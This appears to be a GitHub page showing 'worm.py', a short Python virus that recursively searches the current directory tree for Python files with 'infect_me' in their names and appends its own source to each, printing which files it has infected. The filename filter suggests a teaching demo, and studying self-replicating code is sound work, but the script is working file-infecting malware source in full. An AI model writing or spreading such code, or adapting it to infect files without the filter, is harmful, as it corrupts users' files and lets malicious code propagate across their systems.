-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathworm.py
36 lines (33 loc) · 1.12 KB
/
worm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python
import os
import datetime
import subprocess
SIGNATURE = "It's a virus!"
def search(path):
files_to_infect = []
file_list = os.listdir(path)
for filename in file_list:
if os.path.isdir(path + "/" + filename):
files_to_infect.extend(search(path + "/" + filename))
# Only infect python files with
# "infect_me" in the filename
elif "infect_me" in filename and filename[-3:] == ".py":
files_to_infect.append(path+"/"+filename)
return files_to_infect
def infect(files_to_infect):
virus = open(os.path.abspath(__file__))
virus_string = ""
for i,line in enumerate(virus):
virus_string += line
virus.close()
# Copy file contents and attach worm to end of file
for filename in files_to_infect:
f = open(filename)
temp = f.read()
f.close()
f = open(filename,"w")
f.write(temp + "\n" + virus_string)
print(filename[len(os.path.abspath("")) + 1:] + " infected.")
f.close()
files_to_infect = search(os.path.abspath(""))
infect(files_to_infect)